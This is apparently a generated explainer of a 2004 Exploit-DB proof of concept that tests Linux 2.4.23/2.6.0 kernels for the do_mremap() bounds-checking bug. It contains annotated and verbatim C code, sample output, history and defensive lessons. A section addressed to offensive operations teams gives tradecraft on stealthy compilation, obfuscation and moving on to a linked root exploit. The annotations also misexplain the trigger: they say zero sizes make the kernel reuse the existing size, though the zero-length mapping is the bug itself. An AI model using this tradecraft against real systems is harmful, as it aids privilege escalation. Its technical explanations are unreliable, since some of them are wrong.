Linux Kernel 2.4.23/2.6.0 'do_mremap()' Bound Checking Validator

Linux Kernel 2.4.23/2.6.0 'do_mremap()' Bound Checking Validator
What this paper is
This paper provides a proof-of-concept (PoC) C code that tests for a vulnerability in the do_mremap() system call within specific versions of the Linux kernel (2.4.23 and 2.6.0). The vulnerability lies in how the kernel handles boundary checks when remapping memory regions. The provided code is designed to be safe and avoid corrupting kernel data, focusing solely on detecting the vulnerability.
Simple technical breakdown
The mremap() system call in Linux is used to change the size or location of an existing memory mapping. The vulnerability in do_mremap() occurs when the kernel fails to properly validate the boundaries of the memory region being remapped. This PoC exploits this by attempting to remap a memory region to an address that, due to the flawed boundary check, can lead to unexpected behavior or potentially allow an attacker to overwrite critical kernel memory.
The PoC works by:
- Allocating a memory region using
mmap()at a specific address (0x60000000). - Reading the
/proc/<pid>/mapsfile to show the current memory layout. - Attempting to remap this allocated memory region to a new, potentially problematic address (
0x70000000) usingreal_mremap(). - Reading
/proc/<pid>/mapsagain to see if the remapping occurred as expected or if the kernel's flawed check allowed it to succeed in a way that indicates the vulnerability. - Analyzing the output of
/proc/<pid>/mapsto determine if the remapping to0x70000000was successful, which signifies the presence of the vulnerability.
Complete code and payload walkthrough
The provided code is a C program designed to test the do_mremap() vulnerability. It doesn't contain traditional shellcode or a multi-stage payload in the sense of a remote exploit. Instead, its "payload" is the sequence of system calls and memory operations that trigger the vulnerable kernel code.
#define _GNU_SOURCE // Enables GNU extensions, like __NR_mremap
#include <stdio.h> // For standard input/output functions (printf, fprintf)
#include <stdlib.h> // For general utility functions (exit, malloc)
#include <unistd.h> // For POSIX operating system API (fork, exec, read, write, close, getpid)
#include <fcntl.h> // For file control options (open, O_RDONLY)
#include <sys/types.h> // For system data types (pid_t)
#include <sys/mman.h> // For memory management functions (mmap, mremap)
#include <sys/stat.h> // For file status operations (struct stat)
#include <asm/unistd.h> // For system call numbers (__NR_mremap)
#include <errno.h> // For error number definitions (errno)
#define MREMAP_FIXED 2 // Flag for mremap to force a specific address
#define PAGESIZE 4096 // Standard page size in bytes
#define VMASIZE (2*PAGESIZE) // Size of the virtual memory area to map (2 pages)
#define BUFSIZE 8192 // Buffer size for reading /proc/pid/maps
#define __NR_real_mremap __NR_mremap // Alias for the mremap system call number
// Macro to define a system call. This is a common way to wrap syscalls in older C code.
// It defines a function that takes arguments and makes the syscall.
// void *, old_address, size_t, old_size, size_t, new_size, unsigned long, flags, void *, new_address
static inline _syscall5( void *, real_mremap, void *, old_address,
size_t, old_size, size_t, new_size,
unsigned long, flags, void *, new_address );
#define MAPS_NO_CHECK 0 // Flag to indicate no checking of /proc/pid/maps output
#define MAPS_CHECK 1 // Flag to indicate checking of /proc/pid/maps output
int mremap_check = 0; // Global flag to count successful checks
// Function to check if a specific address (0x70000000) is present in the /proc/pid/maps output.
void maps_check(char *buf)
{
// If the string "70000000" is found in the buffer (which contains /proc/pid/maps output),
// it means the remapping to that address was successful.
if (strstr(buf, "70000000"))
mremap_check++; // Increment the counter
}
// Function to read the /proc/pid/maps file and optionally process its content.
void read_maps(int fd, char *path, unsigned long flag)
{
ssize_t nbytes; // Number of bytes read
char buf[BUFSIZE]; // Buffer to hold the content of /proc/pid/maps
// Move the file pointer to the beginning of the file.
if (lseek(fd, 0, SEEK_SET) < 0) {
fprintf(stderr, "Unable to lseek %s\n", path);
return; // Return if seeking fails
}
// Read the file in chunks until EOF.
while ( (nbytes = read(fd, buf, BUFSIZE)) > 0) {
// If the MAPS_CHECK flag is set, call maps_check to analyze the buffer.
if (flag & MAPS_CHECK)
maps_check(buf);
// Write the read content to standard output.
if (write(STDOUT_FILENO, buf, nbytes) != nbytes) {
fprintf(stderr, "Unable to read %s\n", path);
exit (1); // Exit if writing fails
}
}
}
int main(int argc, char **argv)
{
void *base; // Pointer to the base address of the memory mapping
char path[16]; // Buffer to store the path to /proc/<pid>/maps
pid_t pid; // Process ID
int fd; // File descriptor for /proc/<pid>/maps
// Get the current process ID.
pid = getpid();
// Format the path to the /proc/<pid>/maps file.
sprintf(path, "/proc/%d/maps", pid);
// Open the /proc/<pid>/maps file in read-only mode.
if ( !(fd = open(path, O_RDONLY))) {
fprintf(stderr, "Unable to open %s\n", path);
return 1; // Return an error code if opening fails
}
// Allocate a memory region using mmap.
// - (void *)0x60000000: Attempt to map at a specific address.
// - VMASIZE: The size of the mapping (2 pages).
// - PROT_READ | PROT_WRITE: The memory can be read from and written to.
// - MAP_PRIVATE | MAP_ANONYMOUS: A private, anonymous mapping (not backed by a file).
// - 0, 0: Offset and file descriptor are not relevant for anonymous mappings.
base = mmap((void *)0x60000000, VMASIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
// Print the base address where the memory was mapped.
printf("\nBase address : 0x%x\n\n", base);
// Read and print the initial memory maps without checking.
read_maps(fd, path, MAPS_NO_CHECK);
printf("\nRemapping at 0x70000000...\n\n");
// Attempt to remap the memory region.
// - base: The original address of the mapping.
// - 0: The original size is implicitly determined by the kernel from 'base'.
// - 0: The new size is also implicitly determined by the kernel.
// - MREMAP_MAYMOVE | MREMAP_FIXED: Flags. MREMAP_FIXED forces the new address.
// MREMAP_MAYMOVE allows the kernel to move the mapping if the fixed address isn't available (though MREMAP_FIXED usually implies it should be).
// The vulnerability is in how the kernel handles the boundary checks when trying to satisfy MREMAP_FIXED.
// - (void *)0x70000000: The desired new address.
base = real_mremap(base, 0, 0, MREMAP_MAYMOVE | MREMAP_FIXED,
(void *)0x70000000);
// Read and print the memory maps again, this time checking for the target address.
read_maps(fd, path, MAPS_CHECK);
// Report the findings based on the mremap_check flag.
printf("\nReport : \n");
(mremap_check)
? printf("This kernel appears to be VULNERABLE\n\n") // If mremap_check is non-zero, the vulnerability is present.
: printf("This kernel appears to be NOT VULNERABLE\n\n"); // Otherwise, it's not vulnerable.
// Close the file descriptor.
close(fd);
return 0; // Exit successfully
}
// milw0rm.com [2004-01-07]Code Fragment/Block -> Practical Purpose Mapping:
#define _GNU_SOURCE-> Enables GNU extensions, crucial for__NR_mremap.#include <stdio.h>, <stdlib.h>, <unistd.h>, <fcntl.h>, <sys/types.h>, <sys/mman.h>, <sys/stat.h>, <asm/unistd.h>, <errno.h>-> Standard headers for system calls, memory management, file operations, and error handling.#define MREMAP_FIXED 2-> A flag formremapto specify a fixed target address.#define PAGESIZE 4096,#define VMASIZE (2*PAGESIZE),#define BUFSIZE 8192-> Constants defining memory page size, the size of the memory region to map (8KB), and buffer size for reading/proc/pid/maps.#define __NR_real_mremap __NR_mremap-> Defines an alias for themremapsystem call number.static inline _syscall5(...)-> A macro that defines a functionreal_mremapto directly invoke themremapsystem call with 5 arguments. This bypasses the standard C library wrapper and directly uses the kernel's system call interface.#define MAPS_NO_CHECK 0,#define MAPS_CHECK 1-> Flags to control whether theread_mapsfunction should perform the vulnerability check.int mremap_check = 0;-> A global variable used as a counter to indicate if the target remapping address was found in/proc/pid/maps.void maps_check(char *buf)-> This function searches the provided buffer (buf) for the string "70000000". If found, it incrementsmremap_check, signifying that the memory was successfully remapped to the target address.void read_maps(int fd, char *path, unsigned long flag)-> This function reads the/proc/<pid>/mapsfile. It first seeks to the beginning of the file. Then, it reads the file content in chunks intobuf. If theflagindicatesMAPS_CHECK, it callsmaps_checkon the buffer. It also writes the read content to standard output.int main(int argc, char **argv)-> The main function orchestrates the test.pid = getpid(); sprintf(path, "/proc/%d/maps", pid);-> Gets the current process ID and constructs the path to its memory map file.fd = open(path, O_RDONLY)-> Opens the/proc/pid/mapsfile for reading.base = mmap((void *)0x60000000, VMASIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);-> This is the first key operation. It attempts to map an anonymous memory region ofVMASIZE(8KB) at the specific address0x60000000. This memory is private and can be read/written.printf("\nBase address : 0x%x\n\n", base); read_maps(fd, path, MAPS_NO_CHECK);-> Prints the actual base address returned bymmap(which might differ slightly from the requested0x60000000if the kernel chose a different location, though the PoC aims for a specific address). It then prints the initial memory map without checking for the target address.printf("\nRemapping at 0x70000000...\n\n"); base = real_mremap(base, 0, 0, MREMAP_MAYMOVE | MREMAP_FIXED, (void *)0x70000000);-> This is the core of the test. It callsreal_mremapto attempt to move the previously mapped memory region (base) to the new address0x70000000. TheMREMAP_FIXEDflag is critical here, instructing the kernel to place the mapping exactly at0x70000000. The0forold_sizeandnew_sizetells the kernel to use the existing size of the mapping. The vulnerability lies in the kernel'sdo_mremapfunction not correctly validating the boundaries whenMREMAP_FIXEDis used, potentially allowing the remapping to succeed even if it overlaps or extends beyond intended safe boundaries, leading to the target address appearing in/proc/pid/maps.read_maps(fd, path, MAPS_CHECK);-> Reads the/proc/pid/mapsfile again. This time,MAPS_CHECKis passed, somaps_checkwill be called to see if0x70000000is now present in the memory map.printf("\nReport : \n"); (mremap_check) ? ... : ...-> Based on the value ofmremap_check, it prints whether the kernel is vulnerable or not. Ifmremap_checkis greater than 0, it means "70000000" was found in the maps, indicating the remapping to that address was successful, and thus the kernel is vulnerable.close(fd); return 0;-> Cleans up by closing the file descriptor and exiting.
No Shellcode/Payload Bytes: This PoC does not contain raw shellcode bytes. Its "payload" is the sequence of system calls and memory manipulation that triggers the kernel bug. The exploit version (mentioned as available at exploit-db.com/exploits/145/) would likely contain shellcode to be executed after a successful memory corruption or privilege escalation.
Practical details for offensive operations teams
- Required Access Level: Local user access. This is a local privilege escalation (LPE) vulnerability. The attacker needs to be able to run code on the target system.
- Lab Preconditions:
- A Linux system running kernel version 2.4.23 or 2.6.0 (or a very similar version with the same
do_mremapflaw). - The ability to compile C code on the target system or transfer a pre-compiled binary.
- Sufficient memory to perform the
mmapandmremapoperations.
- A Linux system running kernel version 2.4.23 or 2.6.0 (or a very similar version with the same
- Tooling Assumptions:
- A C compiler (like
gcc) is available on the target system for compilation. - Standard Linux utilities (
/proc/pid/maps,mmap,mremap,read,write,open,close,sprintf,lseek,strstr).
- A C compiler (like
- Execution Pitfalls:
- Kernel Version Mismatch: The most significant pitfall. If the kernel version is patched or different, the exploit will likely fail.
- Address Space Layout Randomization (ASLR): While ASLR wasn't as prevalent or as strong in 2.4/2.6 kernels as it is today, it could still interfere with predictable memory mapping. However, this specific exploit relies on
mmapandmremapwith specific addresses, which might bypass some ASLR protections if the target addresses are not randomized. - System Load/Memory Pressure: Extreme system load or memory pressure could potentially cause
mmapormremapto fail or return different addresses than expected, leading to false negatives. - SELinux/AppArmor: Mandatory Access Control systems could potentially prevent the process from accessing
/proc/pid/mapsor performingmmap/mremapoperations, though this is less likely for standard user processes. - Compiler/Linker Differences: Subtle differences in compiler versions or linker behavior might affect the exact memory addresses or behavior, though the use of
_syscall5aims to reduce dependency on libc wrappers. - "Safe" PoC vs. Exploit: This is a test PoC. It doesn't achieve privilege escalation. A true exploit would build upon this by corrupting kernel data structures (e.g.,
credstructures) to gain root privileges. This PoC only confirms the potential for such corruption.
- Tradecraft Considerations:
- Stealth: Running a C compiler and compiling code on a target system is noisy. Pre-compiling the binary on a similar environment and transferring it is more stealthy.
- Obfuscation: The code is straightforward. For stealthier operations, one might obfuscate the code or use a shellcode loader.
- Targeted Kernels: Understanding the target OS and its kernel version is paramount. This exploit is highly specific.
- Post-Exploitation: This PoC only confirms the vulnerability. The next step would be to use a separate exploit (like the one referenced at
exploit-db.com/exploits/145/) to gain root privileges. The telemetry from this PoC would be the output indicating "VULNERABLE".
Where this was used and when
- Context: This vulnerability was discovered and reported in early 2004. The PoC code was published on Exploit-DB on January 7, 2004.
- Usage: It was used as a proof-of-concept to demonstrate a flaw in the Linux kernel's memory management. The associated exploit (mentioned in the EDB note) would have been used to gain unauthorized root privileges on vulnerable systems.
- Timeframe: Primarily relevant around 2004. Systems running Linux kernel versions 2.4.23 and 2.6.0 were affected. These kernel versions are very old and are no longer in common use on production systems. Modern systems would have long since patched this vulnerability.
Defensive lessons for modern teams
- Importance of Boundary Checks: This vulnerability highlights the critical need for robust boundary checking in all system calls, especially those dealing with memory management. Even seemingly simple operations can have complex interactions and security implications if not handled carefully.
- Kernel Hardening: Modern kernels have numerous hardening mechanisms (like KASLR, SMEP/SMAP, stack canaries, etc.) that make exploiting such memory corruption vulnerabilities significantly harder.
- Patch Management: The most effective defense is timely patching. This vulnerability was fixed in later kernel versions. Organizations must maintain a rigorous patch management program to protect against known exploits.
- System Call Auditing: Monitoring and auditing critical system calls like
mremapcan help detect suspicious activity. Anomalousmremapcalls, especially those attempting to map to unusual or fixed addresses, could be indicators of compromise. - Privilege Separation: Limiting the privileges of user processes reduces the impact of a successful local exploit. Even if an attacker gains root, the damage is contained if the initial compromise was of a low-privilege user.
- Understanding
/procfilesystem: While/procis essential for system introspection, its output can also be used by attackers. Defensive monitoring should be aware of processes that heavily access/proc/pid/mapsin unusual patterns.
ASCII visual (if applicable)
This PoC's flow is primarily sequential and involves system calls interacting with the kernel. A simple diagram can illustrate the process:
+-----------------+ +-----------------+ +-----------------+
| Attacker Process| ----> | mmap() | ----> | Kernel |
| (User Space) | | (Allocate Mem) | | (Memory Mgmt) |
+-----------------+ +-----------------+ +-----------------+
| |
| |
| v
| +-----------------+ +-----------------+
| ----> | read /proc/ | ----> | Kernel |
| | <pid>/maps | | (Memory Mgmt) |
| +-----------------+ +-----------------+
| |
| |
| v
| +-----------------+ +-----------------+
| ----> | mremap() | ----> | Kernel |
| | (Remap Mem) | | (do_mremap()) | <--- Vulnerability
| +-----------------+ +-----------------+
| |
| |
| v
| +-----------------+ +-----------------+
| ----> | read /proc/ | ----> | Kernel |
| | <pid>/maps | | (Memory Mgmt) |
| +-----------------+ +-----------------+
| |
| |
+-----------------------------------------------------> Report Vulnerable/NotExplanation:
- The attacker's process in user space initiates memory operations.
mmap()is called to allocate an initial memory region. The kernel handles this.- The process reads
/proc/<pid>/mapsto observe the current memory layout. - The crucial
mremap()call is made. This is where thedo_mremap()function in the kernel is invoked. - The vulnerability in
do_mremap()is triggered by the specific arguments passed (especiallyMREMAP_FIXEDand the target address0x70000000). - The process reads
/proc/<pid>/mapsagain. If the remapping to0x70000000succeeded due to the vulnerability, this address will appear in the maps. - The process analyzes the output and reports whether the kernel is vulnerable.
This diagram is applicable as it shows the interaction between user space and the kernel's memory management subsystem, highlighting the point of vulnerability.
Source references
- Paper ID: 142
- Paper Title: Linux Kernel 2.4.23/2.6.0 - 'do_mremap()' Bound Checking Validator (2)
- Author: Christophe Devine
- Published: 2004-01-07
- Keywords: Linux, local
- Paper URL: https://www.exploit-db.com/papers/142
- Raw URL: https://www.exploit-db.com/raw/142
- Related Exploit: https://www.exploit-db.com/exploits/145/ (mentioned in the paper's notes)
Original Exploit-DB Content (Verbatim)
/*
* EDB Note: This will just "test" the vulnerability.
* EDB Note: An exploit version can be found here ~ https://www.exploit-db.com/exploits/145/
*/
/*
* Proof of concept code for testing do_mremap() Linux kernel bug.
* It is based on the code by Christophe Devine and Julien Tinnes
* posted on Bugtraq mailing list on 5 Jan 2004 but it's safer since
* it avoids any kernel data corruption.
*
* The following test was done against the Linux kernel 2.6.0. Similar
* results were obtained against the kernel 2.4.23 and previous ones.
*
* buffer@mintaka:~$ gcc -o mremap_bug mremap_bug.c
* buffer@mintaka:~$ ./mremap_bug
*
* Base address : 0x60000000
*
* 08048000-08049000 r-xp 00000000 03:03 2694 /home/buffer/mremap_bug
* 08049000-0804a000 rw-p 00000000 03:03 2694 /home/buffer/mremap_bug
* 40000000-40015000 r-xp 00000000 03:01 52619 /lib/ld-2.3.2.so
* 40015000-40016000 rw-p 00014000 03:01 52619 /lib/ld-2.3.2.so
* 40016000-40017000 rw-p 00000000 00:00 0
* 40022000-40151000 r-xp 00000000 03:01 52588 /lib/libc-2.3.2.so
* 40151000-40156000 rw-p 0012f000 03:01 52588 /lib/libc-2.3.2.so
* 40156000-40159000 rw-p 00000000 00:00 0
* 60000000-60002000 rw-p 00000000 00:00 0
* bfffd000-c0000000 rwxp ffffe000 00:00 0
*
* Remapping at 0x70000000...
*
* 08048000-08049000 r-xp 00000000 03:03 2694 /home/buffer/mremap_bug
* 08049000-0804a000 rw-p 00000000 03:03 2694 /home/buffer/mremap_bug
* 40000000-40015000 r-xp 00000000 03:01 52619 /lib/ld-2.3.2.so
* 40015000-40016000 rw-p 00014000 03:01 52619 /lib/ld-2.3.2.so
* 40016000-40017000 rw-p 00000000 00:00 0
* 40022000-40151000 r-xp 00000000 03:01 52588 /lib/libc-2.3.2.so
* 40151000-40156000 rw-p 0012f000 03:01 52588 /lib/libc-2.3.2.so
* 40156000-40159000 rw-p 00000000 00:00 0
* 60000000-60002000 rw-p 00000000 00:00 0
* 70000000-70000000 rw-p 00000000 00:00 0
* bfffd000-c0000000 rwxp ffffe000 00:00 0
*
* Report :
* This kernel appears to be VULNERABLE
*
* Segmentation fault
* buffer@mintaka:~$
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <asm/unistd.h>
#include <errno.h>
#define MREMAP_FIXED 2
#define PAGESIZE 4096
#define VMASIZE (2*PAGESIZE)
#define BUFSIZE 8192
#define __NR_real_mremap __NR_mremap
static inline _syscall5( void *, real_mremap, void *, old_address,
size_t, old_size, size_t, new_size,
unsigned long, flags, void *, new_address );
#define MAPS_NO_CHECK 0
#define MAPS_CHECK 1
int mremap_check = 0;
void maps_check(char *buf)
{
if (strstr(buf, "70000000"))
mremap_check++;
}
void read_maps(int fd, char *path, unsigned long flag)
{
ssize_t nbytes;
char buf[BUFSIZE];
if (lseek(fd, 0, SEEK_SET) < 0) {
fprintf(stderr, "Unable to lseek %s\n", path);
return;
}
while ( (nbytes = read(fd, buf, BUFSIZE)) > 0) {
if (flag & MAPS_CHECK)
maps_check(buf);
if (write(STDOUT_FILENO, buf, nbytes) != nbytes) {
fprintf(stderr, "Unable to read %s\n", path);
exit (1);
}
}
}
int main(int argc, char **argv)
{
void *base;
char path[16];
pid_t pid;
int fd;
pid = getpid();
sprintf(path, "/proc/%d/maps", pid);
if ( !(fd = open(path, O_RDONLY))) {
fprintf(stderr, "Unable to open %s\n", path);
return 1;
}
base = mmap((void *)0x60000000, VMASIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
printf("\nBase address : 0x%x\n\n", base);
read_maps(fd, path, MAPS_NO_CHECK);
printf("\nRemapping at 0x70000000...\n\n");
base = real_mremap(base, 0, 0, MREMAP_MAYMOVE | MREMAP_FIXED,
(void *)0x70000000);
read_maps(fd, path, MAPS_CHECK);
printf("\nReport : \n");
(mremap_check)
? printf("This kernel appears to be VULNERABLE\n\n")
: printf("This kernel appears to be NOT VULNERABLE\n\n");
close(fd);
return 0;
}
// milw0rm.com [2004-01-07]